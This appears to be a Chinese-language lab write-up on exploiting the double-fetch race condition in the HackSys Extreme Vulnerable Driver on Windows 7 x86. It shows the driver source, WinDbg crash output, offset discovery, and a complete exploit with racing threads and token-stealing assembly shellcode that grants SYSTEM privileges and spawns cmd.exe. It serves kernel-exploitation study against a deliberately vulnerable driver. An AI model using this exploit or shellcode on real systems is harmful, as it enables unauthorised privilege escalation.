前言
窥探Ring0漏洞世界:条件竞争漏洞
在多线程访问临界区的情况下,使用进程互斥可以使多个线程不能同时访问操作关键区的变量,条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保护,导致多重访问使得在一次操作中,操作的值在中间发生了变化。
实验环境:
- 虚拟机:Windows 7 x86
- 物理机:Windows 10 x64
- 软件:IDA,Windbg,VS2022
漏洞分析
老样子,先IDA分析漏洞函数TriggerDoubleFetch
,然后再看看源码
首先初始化800h字节栈缓冲区:
然后取出用户Buffer地址保存到局部变量里:
接下来用用户传入参数的Size进行比较大小判断长度合法性:
合法性通过之后,将用户缓冲区复制到内核里
源码:
/// <summary>
/// Trigger the Double Fetch Vulnerability
/// </summary>
/// <param name="UserDoubleFetch">The pointer to user mode buffer</param>
/// <returns>NTSTATUS</returns>
__declspec(safebuffers)
NTSTATUS
TriggerDoubleFetch(
_In_ PDOUBLE_FETCH UserDoubleFetch
)
{
PVOID UserBuffer = NULL;
NTSTATUS Status = STATUS_SUCCESS;
ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
#ifdef SECURE
SIZE_T UserBufferSize = 0;
#endif
PAGED_CODE();
__try
{
//
// Verify if the buffer resides in user mode
//
ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));
#ifdef SECURE
UserBuffer = UserDoubleFetch->Buffer;
UserBufferSize = UserDoubleFetch->Size;
//
// Verify if the 'UserDoubleFetch->Buffer' resides in user mode
//
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserDoubleFetch->Size: 0x%zX\n", UserBufferSize);
if (UserBufferSize > sizeof(KernelBuffer))
{
DbgPrint("[-] Invalid Buffer Size: 0x%zX\n", UserBufferSize);
Status = STATUS_INVALID_PARAMETER;
return Status;
}
//
// Secure Note: This is secure because the developer is fetching
// 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
// mode just once and storing it in a temporary variable. Later, this
// stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
// will be no race condition
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
#else
UserBuffer = UserDoubleFetch->Buffer;
DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserDoubleFetch->Size: 0x%zX\n", UserDoubleFetch->Size);
//
// Verify if the 'UserDoubleFetch->Buffer' resides in user mode
//
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
if (UserDoubleFetch->Size > sizeof(KernelBuffer))
{
DbgPrint("[-] Invalid Buffer Size: 0x%zX\n", UserDoubleFetch->Size);
Status = STATUS_INVALID_PARAMETER;
return Status;
}
DbgPrint("[+] Triggering Double Fetch\n");
//
// Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
// developer is fetching 'UserDoubleFetch->Size' from user mode twice and the
// double fetched values are passed to RtlCopyMemory()/memcpy().
// This creates a race condition and the size check could be bypassed which will later
// cause stack based buffer overflow
//
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserDoubleFetch->Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
安全版本和漏洞版本的区别在于,是否用局部变量接收了用户传来的参数,这里接收的是一个结构体指针,指向用户内存的值,安全版本一次性用局部变量保存了用户传来的值,然后进行校验和复制,不安全版本则是直接从用户内存去读取这个值来进行操作
如果用户内存的这个结构的值是变化的,当校验的时候,Size合法,当复制的时候Size不合法,则可能造成缓冲区栈溢出
漏洞利用
通过多线程来实现对用户缓冲区的操作,一个线程用来发起正常请求,一个线程用来修改Size大小:
DWORD WINAPI FlippingThread() {
while (TRUE) {
UserBuffer->Size = 0x900;
}
}
DWORD WINAPI RacingThread() {
while (TRUE) {
ULONG WriteRet = 0;
UserBuffer->Size = 0x100;
DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
}
}
测试代码:
#include <iostream>
#include <Windows.h>
typedef struct _UserObject {
ULONG_PTR Buffer;
ULONG Size;
}UserObject, * PUserObject;
HANDLE hDevice = NULL;
ULONG UserBufferSize = sizeof(UserObject);
PUserObject UserBuffer = { 0 };
int main()
{
hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[ERROR]Open Device Error\r\n");
system("pause");
exit(1);
}
else {
printf("[INFO]Device Handle: 0x%X\n", hDevice);
}
UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
if (!UserBuffer) {
printf("[ERROR]Allocate ERROR");
system("pause");
exit(1);
}
else {
printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
}
// 申请用户缓冲区,填充满A
UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
RtlFillMemory((void*)UserBuffer->Buffer, 0x900, 'A');
// 启动多线程
HANDLE hThreadRacing[10] = { 0 };
HANDLE hThreadFlipping[10] = { 0 };
for (size_t i = 0; i < 10; i++)
{
hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, 0, 0);
hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, 0, 0);
}
// 多线程超时则关闭线程
if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 120000)) {
for (size_t i = 0; i < 10; i++)
{
TerminateThread(hThreadRacing[i], 0);
CloseHandle(hThreadRacing[i]);
TerminateThread(hThreadFlipping[i], 0);
CloseHandle(hThreadFlipping[i]);
}
}
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
system("pause");
system("cmd.exe");
return 0;
}
不出意外,很快windbg里就有反应了,异常0xC0000005,查看寄存器:
kd> r
eax=00000000 ebx=88739938 ecx=158c4b84 edx=00000000 esi=83ec8087 edi=887398c8
eip=41414141 esp=83aceae0 ebp=41414141 iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010292
41414141 ?? ???
发生了栈溢出,接下来用老方法去找溢出点,Kali的pattern_create.rb脚本:
┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_create.rb -l 0x900
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7
用随机字符串替换缓冲区的值,再次执行,很快又崩溃了:
Access violation - code c0000005 (!!! second chance !!!)
35724334 ?? ???
获取溢出点位置:
┌──(selph㉿kali)-[~/桌面]
└─$ ./pattern_offset.rb -q 35724334 -l 0x900
[*] Exact match at offset 2084
编写exp:
最终版本exp代码,通过提升线程优先级来提高条件竞争发生的几率,代码如下:
#include <iostream>
#include <Windows.h>
#include <Psapi.h>
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef struct _UserObject {
ULONG_PTR Buffer;
ULONG Size;
}UserObject, * PUserObject;
HANDLE hDevice = NULL;
ULONG UserBufferSize = sizeof(UserObject);
PUserObject UserBuffer = { 0 };
const char* randomSeries = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7";
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad
; 获取当前进程EPROCESS
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET]
mov eax, [eax + EPROCESS_OFFSET]
mov ecx, eax
; 搜索system进程EPROCESS
mov edx, SYSTEM_PID
SearchSystemPID :
mov eax, [eax + FLINK_OFFSET]
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx
jne SearchSystemPID
; token窃取
mov edx, [eax + TOKEN_OFFSET]
mov[ecx + TOKEN_OFFSET], edx
; 环境还原 + 返回
popad
xor eax, eax
add esp, 12
pop ebp
ret 8
}
}
DWORD WINAPI FlippingThread() {
while (TRUE) {
UserBuffer->Size = 0x824+4;
}
}
DWORD WINAPI RacingThread() {
while (TRUE) {
ULONG WriteRet = 0;
UserBuffer->Size = 0x200;
DeviceIoControl(hDevice, 0x222037, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);
}
}
int main()
{
PVOID EopPayload = &TokenStealingPayloadWin7;
hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
UserBuffer = (PUserObject)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize);
UserBuffer->Buffer = (ULONG_PTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x900);
RtlCopyMemory((void*)UserBuffer->Buffer, randomSeries, 0x900);
*(PULONG)(UserBuffer->Buffer + 0x824) = (ULONG)EopPayload;
HANDLE hThreadRacing[10] = { 0 };
HANDLE hThreadFlipping[10] = { 0 };
for (size_t i = 0; i < 10; i++)
{
hThreadRacing[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RacingThread, NULL, CREATE_SUSPENDED, 0);
hThreadFlipping[i] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FlippingThread, NULL, CREATE_SUSPENDED, 0);
// 设置优先级可以提升线程抢占到CPU的频率,更有机会执行到shellcode
SetThreadPriority(hThreadRacing[i], THREAD_PRIORITY_HIGHEST);
SetThreadPriority(hThreadFlipping[i], THREAD_PRIORITY_HIGHEST);
ResumeThread(hThreadRacing[i]);
ResumeThread(hThreadFlipping[i]);
}
if (WaitForMultipleObjects(10, hThreadRacing, TRUE, 60000)) {
for (size_t i = 0; i < 10; i++)
{
TerminateThread(hThreadRacing[i], 0);
CloseHandle(hThreadRacing[i]);
TerminateThread(hThreadFlipping[i], 0);
CloseHandle(hThreadFlipping[i]);
}
}
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer->Buffer);
HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer);
UserBuffer = NULL;
system("pause");
system("cmd.exe");
return 0;
}